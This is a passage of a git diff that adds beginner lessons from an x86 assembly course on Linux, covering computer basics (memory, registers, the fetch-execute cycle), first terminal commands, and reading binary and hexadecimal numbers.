+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the address/value distinction and the pointer get deeper
+
+---
+
+**Previous topic:** [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md)
+**Next topic:** [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
new file mode 100644
index 0000000..0cff059
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
@@ -0,0 +1,232 @@
+# 🧠 x86 Assembly — What a Computer Really Is
+
+> There is no magic inside a computer. There is a giant warehouse (memory), a few boxes in the worker's pocket (registers),
+> and, working on top of these boxes, a very fast but very dumb worker (the processor).
+> This worker does one single thing: read the next order on the list, carry it out **to the letter**, move on to the next.
+> The whole computer — your phone, your game console, the machine you opened this file on — is the story of these three parts.
+
+> **There is not a single line of code in this lesson.** We are only going to build up a picture in your head of what the machine is like.
+> This picture is the ground the rest of the course sits on. Don't rush; read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [A Computer Is Not Magic](#a-computer-is-not-magic)
+- [Part 1 — Memory: A Warehouse of Numbered Boxes](#part-1--memory-a-warehouse-of-numbered-boxes)
+- [Part 2 — Registers: The Boxes in the Worker's Pocket](#part-2--registers-the-boxes-in-the-workers-pocket)
+- [Part 3 — The Processor: A Very Fast, Very Dumb Worker](#part-3--the-processor-a-very-fast-very-dumb-worker)
+- [The Only Thing the Worker Does: Fetch → Do → Advance](#the-only-thing-the-worker-does-fetch--do--advance)
+- [What Is a Program?](#what-is-a-program)
+- [What Does "Running a Program" Mean?](#what-does-running-a-program-mean)
+- [Which Orders Does the Worker Understand? (A Small Preview)](#which-orders-does-the-worker-understand-a-small-preview)
+- [Why Does Such a Dumb Worker Work at All?](#why-does-such-a-dumb-worker-work-at-all)
+
+---
+
+## A Computer Is Not Magic
+
+For most people a computer is a box, with no idea of what spins inside it. You click, something happens; you type, letters appear on the screen. How? Unclear.
+
+Here is the truth: a computer is a machine that does **very simple things at an unbelievable speed.** The worker inside it does not "understand English," does not "think about what you want," is not "smart." It does just a handful of very primitive jobs — but **billions of times** per second. All the magic comes out of this speed and out of this simplicity piling up on itself.
+
+The goal of this lesson is to open the lid of that box and introduce you to the three parts inside. Once you have seen them, the question "how does a computer work?" will stop being mysterious.
+
+---
+
+## Part 1 — Memory: A Warehouse of Numbered Boxes
+
+Imagine: a giant warehouse whose end you cannot see. Inside it are **small boxes** lined up in rows. Each box has:
+
+- a **number** (it goes 0, 1, 2, 3, …),
+- and inside it sits a single **small number**.
+
+```
+ Number: 0 1 2 3 4 5 ...
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ Content: │ 72 │ │ 13 │ │ 0 │ │255 │ │ 42 │ │ 7 │ ...
+ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘
+```
+
+This warehouse is the computer's **memory** (in English *memory*, or RAM in common speech). All the data a program uses while it runs — the letters you type, the pixels of the image you open, your health in a game — are all numbers inside these boxes.
+
+Separate two words right now, because you'll need them everywhere:
+
+- A box's **number** = its **address** (*address*). "Box number 3" means "the box at address 3."
+- The **number inside** a box = its **value / contents**.
+
+> 🔑 Address and value are **different things.** "Box number 3" (address = 3) must not be confused with "the box with 255 written in it" (value = 255). This distinction is the spot people trip over most often later on — let it be clear right now: **address = where the box is, value = what's inside the box.**
+
+Each box is called a **byte**; a number between 0 and 255 fits inside it. (Why exactly 255? We'll see that in [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) — for now "a small number" is enough.)
+
+---
+
+## Part 2 — Registers: The Boxes in the Worker's Pocket
+
+The warehouse is huge but it has one problem: it's **far away.** Every time, it takes the worker a while to walk to the shelf and find the right box.
+
+That's why the worker has **a few special boxes** in the pockets of their apron. These are:
+
+- **very few in number** (a bit more than the fingers of one hand),
+- but reachable **instantly** — they reach out and grab; no walking to the shelf.
+
+```
+ WORKER
+ ┌───────────────┐
+ │ pocket boxes │ ← registers: few, but at light speed
+ │ [ EAX: 5 ] │
+ │ [ EBX: 0 ] │
+ │ [ ECX: 99 ] │
+ │ [ ... ] │
+ └───────────────┘
+ ⇕ (slow round trip)
+ ┌──────────────────────────────────────────┐
+ │ WAREHOUSE (memory): millions of boxes │
+ └──────────────────────────────────────────┘
+```
+
+These pocket boxes are called **registers**. The worker does almost all of the real work with these pocket boxes: it takes a number out of the warehouse and puts it in a pocket, plays with it in the pocket (adds, compares), then, if needed, puts the result back on the shelf in the warehouse.
+
+On the x86 processor each of these pocket boxes has a name: `EAX`, `EBX`, `ECX`, `EDX`, and a few more. Their names may look scary for now; in the coming units we'll get to know each one, one at a time, as the need arises. For now the only thing you need to know is: **register = the worker's boxes, few in number, reachable instantly.**
+
+> 💡 Why both a warehouse and pockets? Because there is a trade-off between speed and room: the pocket boxes are very fast but very few; the warehouse is very roomy but slow. The worker uses both together — it keeps the big data in the warehouse and pulls what it's about to work on into a pocket.
+
+---
+
+## Part 3 — The Processor: A Very Fast, Very Dumb Worker
+
+Now we've reached the main character: the **processor** (in English *CPU*, or *processor*). This is the thing we've been calling the "worker" above.
+
+This worker has two basic traits, and both are true at the same time:
+
+1. **It is incredibly fast.** It takes billions of tiny steps per second. A single blink of your eye is like a lifetime to it.
+2. **It is incredibly dumb.** It "understands" nothing. It doesn't know what you're trying to do, takes no initiative, doesn't say "you probably meant this." It only carries out **the current order** in front of it, exactly.
+
+The whole philosophy of assembly is hidden in this sentence:
+
+> 🔑 The worker is not smart; it is **obedient to the letter.** Whatever you tell it, it does exactly that — not more, not less, not some "well-meaning" interpretation. That's why writing a program = telling this worker, in a language it understands, **step by step** what to do.
+
+Picture a cook, but a cook who follows the recipe *word for word*, with no common sense at all. If the recipe says "crack the eggs," it throws them into the bowl shell and all — because you didn't write "peel off the shell." A computer is exactly this kind of cook. It seems maddening, but it's actually a **superpower**: you can know in advance exactly what will happen, because the worker never acts "on its own."
+
+---
+
+## The Only Thing the Worker Does: Fetch → Do → Advance
+
+So what exactly does this worker do? It repeats a single loop, without stopping, billions of times:
+
+```
+ ┌──────────────────────────────────────────┐
+ │ │
+ │ 1) FETCH: Read the next order │
+ │ 2) DO: Carry it out to the letter │
+ │ 3) ADVANCE: Move to the next order │
+ │ │
+ └──────────────┐ ▲──────────────┘
+ └──────────────┘
+ (repeat from the start)
+```
+
+That's all. The worker reads the order on the list, does it, moves on to the next; then reads again, does, moves on… This is called the **fetch-do-advance loop** (in English *fetch–execute cycle*). *Everything* the computer does — playing a movie, a game, showing this text — is this simple loop repeated billions of times, at a tremendous speed.
+
+> 💡 The worker also holds one more piece of information: "which line of the list am I on right now" — as if it keeps a finger on top of the line it's reading. Normally, after each order the finger slides down to the next line. But some orders can say "put your finger on this line" — that's exactly how decisions and loops happen. (This idea of "the line the finger rests on" will become very important later.)
+
+---
+
+## What Is a Program?
+
+Whatever that **list of orders** the worker reads is — that is what's called a **program**.
+
+A program is a **to-do list** made of instructions written in order from start to finish:
+
+```
+ Line 1: put 5 in box EAX
+ Line 2: put 3 in box EBX
+ Line 3: add EBX to EAX (now EAX = 8)
+ Line 4: tell the OS "I'm done, my result is in EAX"
+```
+
+The worker reads this list top to bottom, doing each line to the letter. The four lines above are a real program too — we've just written it in plain language so far. In the coming units we'll learn to translate it into the language the worker actually understands (assembly). What matters right now is the idea: **program = the list of orders given to the worker, carried out in order.**
+
+> ⚠️ Underline the word "in order." The worker processes the lines **one by one, in sequence.** By the time the third line runs, the first and second are long finished. This sequentiality is the backbone of programming — get used to thinking "first this happens, then that."
+
+> 💡 **You might be wondering:** *"If the worker does everything in order, how am I listening to music and browsing the internet at the same time?"* Two things are true at once: (1) the worker is so fast that a **manager** (the operating system) shuffles it between programs thousands of times per second — "a bit of Spotify, a bit of the mouse, a bit of the browser…" — and because of this speed it feels to you as if everything is happening at the same time. (2) On modern machines there is actually not one worker but **several workers** (cores/*core*); some jobs really do happen at the same time. When writing code we'll still think in terms of one worker + one list, because what matters is that single flow; multitasking is handled "up top," by the manager.
+
+---
+
+## What Does "Running a Program" Mean?
+
+"Running a program" might sound like a fancy phrase, but its meaning is very simple:
+
+> You put your list of orders into memory (the warehouse), you tell the worker "start from this line," and the worker begins carrying out your list from start to finish with the fetch-do-advance loop.
+
+So a running program = **the worker reading and doing your list.** When the program ends (or says "I'm done"), the worker stops and hands control back to the operating system.
+
+One extra term: a program that has been loaded into memory and is **currently running** is called a **process**. So "program" is the recipe sitting on disk; "process" is that recipe in its state of being cooked in the kitchen right now. You'll experience this distinction with your own hands in [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md).
+
+---
+
+## Which Orders Does the Worker Understand? (A Small Preview)
+
+The worker recognizes only a **handful** of orders — and the surprising thing is that all software is built from combinations of this handful of orders. We're not learning syntax yet; let's just take a look at the *kinds* so we know where we're heading:
+
+| Kind of order | In plain words | Which lesson |
+|---|---|---|
+| **Move** | "Put this number in that box," "take what's in that box over here" | [08_mov_ve_bellek](./08_mov_ve_bellek.md) |
+| **Compute** | "Add / subtract these two" | [09_aritmetik](./09_aritmetik.md) |
+| **Compare** | "Are these two numbers equal? greater?" | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) |
+| **Jump** | "Go to this line of the list" (decisions, loops) | [11_ziplamalar](./11_ziplamalar.md) |
+| **Call a part** | "Run this section of the list, then come back here" | [15_call_ve_ret](./15_call_ve_ret.md) |
+| **Call out to the OS** | "Operating system, print this to the screen / read this" | [17_sistem_cagrilari](./17_sistem_cagrilari.md) |
+
+As you can see, the list is short. All the programs a person uses in their whole life — that's just this handful of primitive orders, lined up billions of times, in the right sequence. And that's the beauty of it: from a small number of simple parts, unlimited complexity.
+
+Just to satisfy your curiosity, here's a glimpse of how the order "put 5 in box EAX" looks in real assembly (don't memorize it yet, just see it):
+
+```
+mov eax, 5
+```
+
+That's it. The way to say "put 5 in EAX" to the machine. In the coming units we'll write this and **run** it, and we'll see that 5 on the screen with `echo $?`.
+
+---
+
+## Why Does Such a Dumb Worker Work at All?
+
+We've been saying "dumb worker" all along; this sounds like a flaw. Actually it gives two big **advantages**:
+
+1. **Predictability.** Because the worker never improvises, you can know **for certain** what a program will do. There is no "did it maybe mean this?"; whatever you wrote is what happens. This is what makes hunting for bugs (and, later, understanding security holes) possible.
+2. **Speed.** Because the worker doesn't "think," and only carries out simple orders, it can be incredibly fast. Intelligence is slow; dumb but fast execution, when piled up, does everything.
+
+> 🔑 In short: a computer's power comes not from its intelligence but from **repeating simple jobs flawlessly and at a dizzying speed.** You give it the right list; it carries out the list with flawless loyalty. Programming is the craft of writing that list.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A computer is not magic: a warehouse + pocket boxes + a worker.
+☐ Memory (the warehouse) = numbered boxes; each box holds a number.
+ - The box's NUMBER = address. The box's INSIDE = value. (They're different!)
+☐ Register (pocket boxes) = the FEW boxes the worker reaches instantly (EAX, EBX...).
+☐ Processor (the worker) = very fast + very dumb; only does fetch → do → advance.
+☐ Program = a list of orders carried out in sequence (a to-do list).
+☐ Running = putting the list into memory and telling the worker "start." A running program = a process.
+☐ The worker understands a handful of orders: move, compute, compare, jump, call a part, call out to the OS.
+☐ Dumbness is not a flaw: it means predictability + speed.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The course roadmap and how to study it
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — If "everything is a number," how does a cat video happen? Meaning comes from the code
+- [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md) — Where we'll talk to this worker from: the terminal
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — A closer look at the warehouse and pocket boxes
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
new file mode 100644
index 0000000..00190a9
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
@@ -0,0 +1,278 @@
+# 💻 x86 Assembly — Getting to Know the Terminal
+
+> Until now you've always talked to the computer by *clicking*: press an icon, a window opens.
+> The terminal, on the other hand, is where you give the computer orders by **typing** — not with the mouse, with the keyboard, one at a time.
+> At first it looks bare and intimidating; but it's actually the cleanest way to talk directly, without a middleman, to that "letter-for-letter obedient worker" from the previous lesson.
+> In this lesson, for the first time, we'll give it orders with our own hands.
+
+> **There is not a single line of assembly in this lesson.** We'll just get to know the terminal, type a few commands into it, and *see with our own eyes* what happens. The goal: to feel comfortable in front of the terminal. That comfort will be the foundation of everything later, when you write and run code.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is the Terminal? (And Why Not the Mouse?)](#what-is-the-terminal-and-why-not-the-mouse)
+- [How Do I Open the Terminal?](#how-do-i-open-the-terminal)
+- [The Anatomy of the Terminal: Type, Press Enter, Read](#the-anatomy-of-the-terminal-type-press-enter-read)
+- [Your First Order: `echo`](#your-first-order-echo)
+- [Where Am I? What's Here?](#where-am-i-whats-here)
+- [Make a Folder, Go Inside](#make-a-folder-go-inside)
+- [Create a File and Look Inside It](#create-a-file-and-look-inside-it)
+- [What Just Happened? (A Program or a Process?)](#what-just-happened-a-program-or-a-process)
+- [Did You Get an Error? Good.](#did-you-get-an-error-good)
+
+---
+
+## What Is the Terminal? (And Why Not the Mouse?)
+
+When you double-click an icon, what you're really telling the computer is: "run that program." You just say it **with the mouse**. The terminal is a window where you say the same thing **by typing**: you write a command, you press Enter, the computer does it.
+
+So why type when clicking is right there? Because:
+
+- **Precision.** With the mouse there's no "I meant that one"; whatever command you type is exactly what runs. This is the natural way to talk to the "letter-for-letter obedient worker" from the previous lesson.
+- **Power.** With a single line, you can instantly make it do work that would take minutes of fiddling with the mouse.
+- **Necessity.** Writing and running assembly, compiling code, tracing a program step by step — all of this is done from the terminal. So for this course the terminal isn't a choice, it's our home.
+
+> 💡 "Terminal", "console", "command line", "shell" — you'll hear all of them for more or less the same thing: that window where you give commands by typing. For now, don't worry about the fine differences between them.
+
+---
+
+## How Do I Open the Terminal?
+
+This course is entirely about **Linux** — our assembly tools (nasm, ld, gdb) live there. We won't be using Windows or macOS; we go straight through Linux.
+
+There are a few ways to open the terminal on Linux:
+
+- Find and open the application named **"Terminal"** (on some systems **"Console"**) among your applications.
+- Or the shortcut that works on most desktops: **`Ctrl + Alt + T`**.
+
+> 💡 If you don't have a working Linux yet, don't worry: we'll do the full setup of the environment and tools together, start to finish, in [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md). It's perfectly fine to get through this lesson just by **reading** for now, and to come back and try the commands yourself once you've set up the terminal.
+
+When you open it, what most likely appears is a dark-colored window with a few words in it and a small, blinking line. Don't be afraid — we'll figure it out in a moment.
+
+---
+
+## The Anatomy of the Terminal: Type, Press Enter, Read
+
+That first line you see in the terminal window is called the **prompt** (the command prompt). It's the line that says to you, "go ahead, type your order." Roughly, it looks like this:
+
+```
+kullanici@bilgisayar:~$ ▮
+```
+
+Piece by piece:
+
+```
+ kullanici → your username
+ @ → means "at"
+ bilgisayar → the name of the machine
+ ~ → the folder you're currently in (~ = your home folder)
+ $ → the "you can type a command here" mark
+ ▮ → the blinking cursor: the letters you type go here
+```
+
+You talk to the terminal in a single rhythm:
+
+```
+ 1) TYPE the command
+ 2) Press ENTER
+ 3) The computer runs the command, prints the result (the output)
+ 4) It gives you a new prompt: "go ahead, what's next?"
+```
+
+That's all. The blinking cursor is patient because it's waiting for you; there's no rush. If you type wrong, you can delete it before pressing Enter. Let's give it its first order.
+
+---
+
+## Your First Order: `echo`
+
+`echo` means "whatever I give you, write it back to the screen." It's the most harmless, most reassuring first command. Type this and press Enter:
+
+```
+echo Hello
+```
+
+What you'll see:
+
+```
+Hello
+```
+
+It worked! You told the computer something, and it did it letter for letter — no more, no less, just like that dumb-but-obedient worker. Print something else if you like:
+
+```
+echo i command the computer
+```
+```
+i command the computer
+```
+
+> 💡 This little moment matters: **you** made that text appear on the screen, without clicking anywhere with the mouse. That's the whole logic of the terminal — type, let it run, see the result.
+
+---
+
+## Where Am I? What's Here?
+
+The terminal is always standing **inside a folder** (just like you're standing in an open folder in a file manager, but invisibly). Two basic questions:
+
+**"Which folder am I in right now?"** → `pwd` (in English, *print working directory*)
+
+```
+pwd
+```
+```
+/home/kullanici
+```
+
+So right now you're in the home folder of the person named `kullanici`. (The `~` mark in the prompt was already telling you this.)
+
+**"What's in this folder?"** → `ls` (in English, *list*)
+
+```
+ls
+```
+```
+Documents Downloads Desktop Pictures
+```
+
+`ls` lists the files and folders in the folder you're in. In an empty folder it prints nothing — that's normal too, it means "there's nothing here."
+
+> 🔑 Keep in mind: in the terminal you are **always somewhere.** "Where am I?" `pwd`, "what's here?" `ls`. If you feel lost, these two are your compass.
+
+---
+
+## Make a Folder, Go Inside
+
+So we don't leave the course files scattered around, let's open a work folder for ourselves.
+
+**Create a folder** → `mkdir` (in English, *make directory*)
+
+```
+mkdir asm_dersi
+```
+
+It prints nothing to the screen — but the silence here means "okay, done." (The worker doesn't talk unnecessarily.) Check with `ls`, and now `asm_dersi` should show up.
+
+**Go inside the folder** → `cd` (in English, *change directory*)
+
+```
+cd asm_dersi
+```
+
+Now if you type `pwd` you'll notice you see `/asm_dersi` at the end — you went inside. If you want to go back out:
+
+```
+cd ..
+```
+
+`..` means "one folder up." With `cd` you move between folders like walking between the rooms of a building.
+
+> 💡 While typing a command, try writing the first few letters of a folder/file name and pressing **Tab** — the terminal completes the rest for you. It both speeds you up and prevents typos. (This is called *tab completion*; it'll be indispensable to you.)
+
+---
+
+## Create a File and Look Inside It
+
+While you're inside the `asm_dersi` folder, let's create a small note file:
+
+```
+echo "my first note" > not.txt
+```
+
+There are two new things here. First, the `"..."` quotes: they hold several words together as a single piece of text. In `echo Hello` there was no need since it was a single word (the three-word example above also worked without quotes); but when writing text to a file, quotes are the cleanest way of saying "all of these are one piece." Second, the `>` mark: normally `echo` would write the output **to the screen**; `>` instead means "write the output not to the screen, but **to that file**." So this line creates a file named `not.txt` with `my first note` written inside it. Nothing appears on the screen — the output went to the file now.
+
+If you type `ls` you'll see `not.txt`. So what's inside it? **To see the contents of a file** → `cat`:
+
+```
+cat not.txt
+```
+```
+my first note
+```
+
+There you go: you created a file and looked inside it — all from the keyboard.
+
+> ⚠️ Careful: `>` **wipes the file's contents and writes from scratch.** If `not.txt` is already full and you do `echo "..." > not.txt` again, the old content is erased. If you want to **append to the end** of the content, use a double `>>` instead of a single `>`. For now, just jot this down on the side.
+
+---
+
+## What Just Happened? (A Program or a Process?)
+
+Now let's go back and make a nice connection. `echo`, `ls`, `cat` — these are all actually **programs.** Small programs that sit on the disk and know how to do the job of "write to the screen", "list the folder", "show the file".
+
+What happens when you type `ls` and press Enter is the very picture from the previous lesson:
+
+```
+ 1) The operating system finds the program named "ls" on the disk
+ 2) It loads it into memory (the storehouse)
+ 3) The worker (the processor) runs that program's list of orders → the output comes to the screen
+ 4) The program ends, control returns to you → a new prompt
+```
+
+> 🔑 Here those two words become concrete:
+> - **Program** = the list of orders sitting on the disk (the recipe). E.g.: the `ls` program.
+> - **Process** = that program loaded into memory and **currently running** (the recipe cooking in the kitchen).
+>
+> So `ls` is a program on the disk; when you run it a short-lived process is born, does its job, dies, and gives you back the prompt. Every command is a small process being born and dying.
+
+Later we'll write and run **our own** program with `nasm`. That will be exactly like this: the file you write is a program on the disk, and when you run it, a process. The terminal is where you kick off this cycle.
+
+---
+
+## Did You Get an Error? Good.
+
+Sooner or later you'll type a command wrong. For instance, instead of `echo`, by mistake:
+
+```
+eco Hello
+```
+```
+eco: command not found
+```
+
+No panic — this isn't the terminal getting mad at you; it's just saying **"I don't recognize a program called eco"**. In other words, you typed a letter wrong. Fix it, try again. That's exactly the usual programming cycle: type → get an error → read → fix.
+
+See error messages as a **clue, not an enemy**. Most of the time they tell you exactly what's wrong:
+
+- `command not found` → you typed the command name wrong, or that program isn't installed.
+- `No such file or directory` → you gave a file/folder name that doesn't exist (again, most of the time a typo).
+- `Permission denied` → you don't have permission to do that job (we'll touch on this later).
+
+> 💡 All three of the most common errors actually turn out to be "typos." That's why **completion with Tab** (which we saw above) is both a speed boost and a shield against errors.
+
+> 💡 **You might be wondering:** *"If I type something wrong, could I accidentally delete my precious Linux or my files?"* The commands you know (`echo`, `ls`, `pwd`, `cd`, `mkdir`, `cat`) **delete** nothing — they only look, move around, and create. The real sharp knife that deletes files is `rm`, but we haven't even taught it yet; when it comes, we'll point at it loudly. Typing a command wrong is harmless too: the result is at most `command not found`, meaning nothing happens. (System files also require `sudo` + a password, so you can't stumble into them by accident.)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Terminal = the window where you give the computer orders by TYPING, not with the mouse.
+☐ Rhythm: type the command → Enter → read the output → new prompt.
+☐ In the terminal you're always inside a folder:
+ - pwd → "where am I?" (which folder)
+ - ls → "what's here?" (file/folder list)
+☐ Navigating and creating:
+ - mkdir → create a folder
+ - cd → go into a folder | cd .. → one folder up
+☐ File:
+ - echo "..." > file → write output not to the screen but to a file (WIPES its contents; use >> to append)
+ - cat file → show the file's contents
+☐ echo/ls/cat are PROGRAMS; when you run them they become short-lived PROCESSES.
+☐ Error = not an enemy, a clue. Most errors are typos. Complete with Tab.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The "worker" that runs the program and the program/process distinction
+- [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md) — Installing the assembly tools in the terminal and running the first program
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — Counting the way the machine counts
+
+---
+
+**Previous topic:** [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md)
+**Next topic:** [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md b/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md
new file mode 100644
index 0000000..9ae1b94
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md
@@ -0,0 +1,275 @@
+# 🔢 x86 Assembly — Numbers: The Way the Machine Counts
+
+> The machine doesn't write numbers the way you do. Inside there is only **on** and **off** —
+> that is, only two digits: 1 and 0. This gives rise to long, tiring-to-read numbers; so people write
+> them with a short notation called **hexadecimal**. The only goal of this lesson is for you to be able to
+> *read* the machine's numbers. Not to do arithmetic — to read. So that when `0xff` shows up in GDB you don't
+> say "what on earth is this?"
+
+> **There is no code in this lesson, and no math homework at all.** We'll learn binary and hexadecimal only
+> enough to *recognize* them. No four operations by hand, no memorization. Promise: this is not the thing you feared.
+
+---
+
+## 📋 Table of Contents
+
+- [Don't Be Afraid: This Is Not Math, It's Literacy](#dont-be-afraid-this-is-not-math-its-literacy)
+- [Why Binary? Because Inside There's Only On/Off](#why-binary-because-inside-theres-only-onoff)
+- [You Already Know the Decimal System](#you-already-know-the-decimal-system)
+- [Binary: Same Idea, Just Two Digits](#binary-same-idea-just-two-digits)
+- [Why Is a Byte 0–255? (The Answer from 01)](#why-is-a-byte-0255-the-answer-from-01)
+- [Hexadecimal: A Shorthand for Humans](#hexadecimal-a-shorthand-for-humans)
+- ["Reading" Hex (Not Calculating It)](#reading-hex-not-calculating-it)
+- [Where Will I See This?](#where-will-i-see-this)
+- [Appendix: Why Is a Byte 8 Bits? (History and Reasons)](#appendix-why-is-a-byte-8-bits-history-and-reasons)
+
+---
+
+## Don't Be Afraid: This Is Not Math, It's Literacy
+
+Most people, when they hear the phrase "binary number system," remember the nightmare math from school. There's nothing like that here.
+
+Imagine you're learning a foreign alphabet. Your goal isn't to write poetry in that language; it's just to be able to **read** the signs. That's our concern too: the machine writes numbers in its own alphabet (1s and 0s, or their shorthand, hex), and we're going to learn to read those signs. You don't need to do any addition or subtraction by hand — the computer already does that.
+
+> 🔑 The single goal of this lesson: when you see something like `1011` or `0xff`, to be able to say "this is a number, roughly this big." You don't need to be a fluent translator; being *literate* is enough.
+
+---
+
+## Why Binary? Because Inside There's Only On/Off
+
+In the previous lesson we thought of the computer as "numbered boxes + a worker." So how does the number inside those boxes *physically* sit there?
+
+The inside of a computer is nothing but billions of tiny **switches**. Each switch is either **on** or **off** — like a light switch, no in-between. These are all the "digits" the machine has to work with:
+
+```
+ on → 1
+ off → 0
+```
+
+Only two symbols. That's why the machine has to write every number with these two digits — this is called **binary**. Everything you see (numbers, letters, images, music) ultimately comes down to these sequences of on/off switches.
+
+A single switch (a single on/off) is called a **bit**. A bit is the smallest piece of information in a computer: either 0 or 1.
+
+> 💡 "Why 2 digits instead of 10?" Because there are two states a switch can reliably tell apart: present/absent, on/off. The machine can't reliably hold something like "exactly 63% on." Two states are solid and clear — and that's why the machine counts in binary.
+
+---
+
+## You Already Know the Decimal System
+
+You've actually used the idea of "place value" your whole life, you just never named it. Look at this number: **347**
+
+```
+ 3 4 7
+ ↓ ↓ ↓
+ 3×100 4×10 7×1 → 300 + 40 + 7 = 347
+```
+
+So every digit has a **value**: rightmost the ones, then tens, then hundreds... These values go 1, 10, 100, 1000 — that is, **powers of 10.** Why 10? Because we have **10 digits** (0–9).
+
+Here's the whole secret: **binary is exactly the same system, only because it has 2 digits instead of 10, the place values are powers of 2.** You're not learning anything new; you're doing what you already know with a different number of digits.
+
+---
+
+## Binary: Same Idea, Just Two Digits
+
+In decimal the places grew 1, 10, 100… In binary they grow 1, 2, 4, 8, 16… (doubling at each step):
+
+```
+ ... 128 64 32 16 8 4 2 1 ← place values (powers of 2)
+```
+
+To read a binary number, you add up the values of the places that are **1**. Example — `1011`:
+
+```
+ place value: 8 4 2 1
+ bit: 1 0 1 1
+ ↓ ↓ ↓ ↓
+ 8 + 0 + 2 + 1 = 11
+```
+
+So binary `1011` is the number **11** that we know. One more example — `110`:
+
+```
+ place value: 4 2 1
+ bit: 1 1 0 → 4 + 2 + 0 = 6
+```
+
+That's all. "Add up the values of the ones." You don't even need to grab paper and practice it; seeing the logic is enough.
+
+---
+
+## Why Is a Byte 0–255? (The Answer from 01)
+
+If you recall, in the first lesson I said "each box holds a number between 0–255, and we'll see later why it's 255." Here's the answer.
+
+The computer uses bits not one by one, but **in groups.** A group of 8 bits is called a **byte** — that is, 8 switches side by side. Those "boxes" of memory are each a byte.
+
+With 8 switches, what's the smallest and largest number?
+
+```
+ Smallest: 0 0 0 0 0 0 0 0 → all off = 0
+
+ Largest: 1 1 1 1 1 1 1 1 → all on
+ values: 128 64 32 16 8 4 2 1
+ = 128+64+32+16+8+4+2+1 = 255
+```
+
+> 🔑 So 8 bits can hold a total of **256** different values, **from 0 to 255.** That's the answer to "why 255?": the largest number reached when all 8 switches of a byte are on is 255. For larger numbers the machine uses several bytes side by side (we'll see this later).
+
+> 💡 **Something you might be wondering:** *"If a box holds at most 255, then where does my score of 5000 in a game, or my money in the bank, sit?"* It doesn't fit in one box — the machine spreads the big number across **several consecutive boxes** (we touched on this above). How these boxes are counted as a single big number, and the question "how does the worker know they're a single number and not 4 separate small numbers?", we explain exactly in [04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md).
+
+> 💡 **But why exactly 8 switches — why not 7 or 9?** And why is the maximum therefore 255? This isn't actually a math rule, it's a historical **choice.** We explain both the reason and the story in detail in the [Appendix: Why Is a Byte 8 Bits?](#appendix-why-is-a-byte-8-bits-history-and-reasons) section at the very end of the lesson. For now it's enough to say "groups of 8 are a convention, and we explain why at the end."
+
+---
+
+## Hexadecimal: A Shorthand for Humans
+
+Binary is great for the machine but tiring for humans: writing and reading `11111111` strains the eyes and is easy to get wrong. The solution is **hexadecimal** (hexadecimal, or *hex* for short).
+
+Hex has one neat trick: **4 bits correspond exactly to a single hex digit.** (Because 4 bits write 16 different values, and hex also has 16 digits.) Since 16 digits don't end at 0–9, the ones from 10 to 15 are written with letters:
+
+```
+ binary hex binary hex
+ 0000 = 0 1000 = 8
+ 0001 = 1 1001 = 9
+ 0010 = 2 1010 = A (10)
+ 0011 = 3 1011 = B (11)
+ 0100 = 4 1100 = C (12)
+ 0101 = 5 1101 = D (13)
+ 0110 = 6 1110 = E (14)
+ 0111 = 7 1111 = F (15)
+```
+
+A byte is 8 bits; 8 bits = two groups of 4 = **exactly 2 hex digits.** Here's the short form of that tiring byte:
+
+```
+ binary: 1111 1111
+ hex: F F → written: 0xFF
+ decimal: 255
+```
+
+The leading `0x` is placed to say "attention, this is a hex number" — otherwise we'd confuse whether `FF` is a number or letters. When you see `0xFF`, you read it as "a single byte, all on, i.e. 255."
+
+> 💡 That's the entire reason hex exists: a faithful, one-to-one but **short** way of writing binary. That's why at the low level (assembly, GDB, memory dumps) numbers are almost always written in hex. It doesn't hide the binary — it just tidies it up.
+
+---
+
+## "Reading" Hex (Not Calculating It)
+
+Now the most reassuring part: **you don't have to convert hex to decimal in your head.** The trick of it is recognition:
+
+- If you see `0x` in front → "this is a raw machine number / address."
